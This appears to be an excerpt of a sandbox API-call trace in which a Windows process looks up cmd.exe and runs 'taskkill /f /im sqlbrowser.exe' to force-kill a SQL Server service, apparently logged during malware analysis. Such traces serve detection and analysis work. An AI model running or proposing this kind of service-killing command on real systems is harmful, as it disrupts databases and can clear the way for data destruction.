	[0033.907] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc8c8 | out: lpFileInformation=0x123fc8c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.907] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.907] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x123fc918 | out: lpFileInformation=0x123fc918*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.907] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.907] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc968 | out: lpFileInformation=0x123fc968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.907] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.907] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x123fc9b8 | out: lpFileInformation=0x123fc9b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.907] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.907] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x123fca08 | out: lpFileInformation=0x123fca08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.908] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.908] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x123fca58 | out: lpFileInformation=0x123fca58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.908] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.908] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x123fcaa8 | out: lpFileInformation=0x123fcaa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.908] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.908] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x123fcaf8 | out: lpFileInformation=0x123fcaf8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.908] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.908] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x123fcb48 | out: lpFileInformation=0x123fcb48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.908] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.908] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x123fcb98 | out: lpFileInformation=0x123fcb98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.908] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.908] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x123fcbe8 | out: lpFileInformation=0x123fcbe8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.908] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.908] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x123fcc38 | out: lpFileInformation=0x123fcc38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.909] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.909] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124084e0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0033.909] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fcc88 | out: lpFileInformation=0x123fcc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0033.909] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124085b0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0033.909] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fccd8 | out: lpFileInformation=0x123fccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0033.909] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0033.909] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0033.909] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0033.909] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0033.910] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0033.910] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0033.910] GetEnvironmentStringsW () returned 0x7eb348*
	[0033.910] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0033.910] GetCurrentProcess () returned 0xffffffff
	[0033.910] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d4b10, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d4b10*=0xc8) returned 1
	[0033.910] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d4b14, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d4b14*=0xac) returned 1
	[0033.910] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d4b18, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d4b18*=0xb8) returned 1
	[0033.910] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im sqlbrowser.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12438c00, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im sqlbrowser.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc0, hThread=0xbc, dwProcessId=0xb78, dwThreadId=0xb7c)) returned 1
	[0033.919] CloseHandle (hObject=0xbc) returned 1
	[0033.919] CloseHandle (hObject=0xb8) returned 1
	[0033.919] CloseHandle (hObject=0xac) returned 1
	[0033.919] CloseHandle (hObject=0xc8) returned 1
	[0033.919] CloseHandle (hObject=0xc4) returned 1
	[0033.919] CloseHandle (hObject=0xb0) returned 1
	[0033.919] CloseHandle (hObject=0xb4) returned 1
	[0033.919] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xffffffff) returned 0x0
	[0034.331] SetEvent (hEvent=0xa8) returned 1
	[0034.331] GetExitCodeProcess (in: hProcess=0xc0, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0034.331] GetProcessTimes (in: hProcess=0xc0, lpCreationTime=0x123d70a0, lpExitTime=0x123d70a8, lpKernelTime=0x123d70b0, lpUserTime=0x123d70b8 | out: lpCreationTime=0x123d70a0, lpExitTime=0x123d70a8, lpKernelTime=0x123d70b0, lpUserTime=0x123d70b8) returned 1
	[0034.331] CloseHandle (hObject=0xc0) returned 1
	[0034.331] SetEvent (hEvent=0x80) returned 1
	[0034.331] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0034.342] SetEvent (hEvent=0x80) returned 1
	[0034.342] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12440270, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.343] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448468 | out: lpFileInformation=0x12448468*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.343] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.343] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x124484b8 | out: lpFileInformation=0x124484b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.343] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.343] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448508 | out: lpFileInformation=0x12448508*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.343] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.343] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12448558 | out: lpFileInformation=0x12448558*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.343] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.343] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x124485a8 | out: lpFileInformation=0x124485a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.344] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.344] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x124485f8 | out: lpFileInformation=0x124485f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.344] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.344] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12448648 | out: lpFileInformation=0x12448648*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.344] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.344] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12448698 | out: lpFileInformation=0x12448698*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.344] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.344] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x124486e8 | out: lpFileInformation=0x124486e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.344] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.344] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12448738 | out: lpFileInformation=0x12448738*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.344] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.344] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12448788 | out: lpFileInformation=0x12448788*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.345] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.345] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x124487d8 | out: lpFileInformation=0x124487d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.345] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
